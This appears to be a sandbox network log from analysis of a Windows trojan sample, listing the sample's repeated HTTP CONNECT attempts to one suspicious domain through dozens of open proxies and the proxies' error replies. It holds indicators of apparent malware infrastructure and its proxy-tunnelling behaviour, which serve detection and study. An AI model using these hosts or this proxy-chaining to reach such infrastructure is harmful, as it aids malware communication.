Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1714	192.168.2.8	54051	37.187.91.192	27898	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.990624905 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.992058992 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.992117882 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1715	192.168.2.8	54996	104.24.35.152	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.990624905 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.081738949 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:40 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1716	192.168.2.8	54972	85.14.8.226	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.991209984 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1717	192.168.2.8	53911	79.137.204.161	13892	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.991292000 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.065707922 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:46.085875988 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1718	192.168.2.8	55016	104.22.1.113	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.991462946 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.081897020 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:40 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1719	192.168.2.8	53982	161.97.147.193	2838	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.991518021 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.992055893 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.992099047 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1720	192.168.2.8	55023	67.205.132.249	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.995263100 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.084399939 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Fri, 23 Feb 2024 13:28:40 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1721	192.168.2.8	54011	95.217.187.170	45238	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.011734009 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1722	192.168.2.8	53931	14.47.70.137	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.015425920 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1723	192.168.2.8	54771	172.93.111.87	44374	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.015618086 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.065764904 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:46.085875034 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1724	192.168.2.8	54741	51.158.124.167	16379	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.033977032 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.104424000 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1725	192.168.2.8	53929	103.96.38.161	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.047487974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1726	192.168.2.8	54975	161.97.170.209	30529	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.081101894 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.695013046 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.382965088 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.789133072 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.694967031 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1727	192.168.2.8	55032	192.252.216.81	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.081129074 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1728	192.168.2.8	55010	193.151.90.85	16906	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.082715034 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.694897890 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.382656097 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.492213011 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.679435968 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:46.788773060 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1729	192.168.2.8	54984	31.43.33.55	4153	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.083060980 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1730	192.168.2.8	55019	95.111.227.164	62852	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.086057901 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1731	192.168.2.8	54738	129.213.52.124	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.113692999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.195199013 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:46.195385933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:52.194737911 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:04.194742918 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1732	192.168.2.8	54973	175.183.82.221	8193	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.115551949 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1733	192.168.2.8	55039	45.196.148.8	5432	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.115699053 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.224174023 CET	308	IN	HTTP/1.1 407 Proxy Authentication Required Server: FaaS v1.3-20220203-7fa38bd5af Date: Fri, 23 Feb 2024 13:28:40 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 65 Proxy-Authenticate: Basic realm="Proxy" Connection: close Data Raw: 48 54 54 50 20 61 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 65 72 72 6f 72 3a 20 69 70 20 61 75 74 68 20 66 61 69 6c 65 64 2c 20 6e 6f 20 63 72 65 64 65 6e 74 69 61 6c 73 20 70 72 6f 76 69 64 65 64 Data Ascii: HTTP authorization error: ip auth failed, no credentials provided

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1734	192.168.2.8	54371	65.38.21.103	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.125153065 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.625660896 CET	872	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 13:28:40 GMT Server: Apache/2.4.26 (Win32) OpenSSL/1.0.2l PHP/5.6.31 Vary: accept-language,accept-charset,Accept-Encoding Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=utf-8 Content-Language: en Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0d 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 53 65 72 76 65 72 20 65 72 72 6f 72 21 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 70 6f 73 74 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 22 20 2f 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0d 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 53 65 72 76 65 72 20 65 72 72 6f 72 21 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head><title>Server error!</title><link rev="made" href="mailto:postmaster@localhost" /><style type="text/css">.../--><![CDATA[/>.../ body { color: #000000; background-color: #FFFFFF; } a:link { color: #0000CC; } p, address {margin-left: 3em;} span {font-size: smaller;}/...*/--></style></head><body><h1>Server error!
Feb 23, 2024 14:28:43.625698090 CET	524	IN	Data Raw: 3c 2f 68 31 3e 0d 0a 3c 70 3e 0d 0a 0d 0a 0d 0a 20 20 0d 0a 0d 0a 20 20 20 20 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 61 6e 64 20 77 61 73 20 0d 0a 20 20 20 20 75 Data Ascii: </h1><p> The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there was an error in a CGI script. </p><p>If you think this is a server err

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1735	192.168.2.8	51559	147.124.212.31	51825	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.125544071 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.194986105 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:46.195087910 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:52.194766045 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:04.194719076 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:16.225980997 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1736	192.168.2.8	53657	117.160.250.131	8899	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.216536045 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.492471933 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Fri, 23 Feb 2024 13:28:41 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>
Feb 23, 2024 14:28:45.508358955 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Fri, 23 Feb 2024 13:28:41 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1737	192.168.2.8	54781	37.187.135.60	18472	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:40.216830015 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

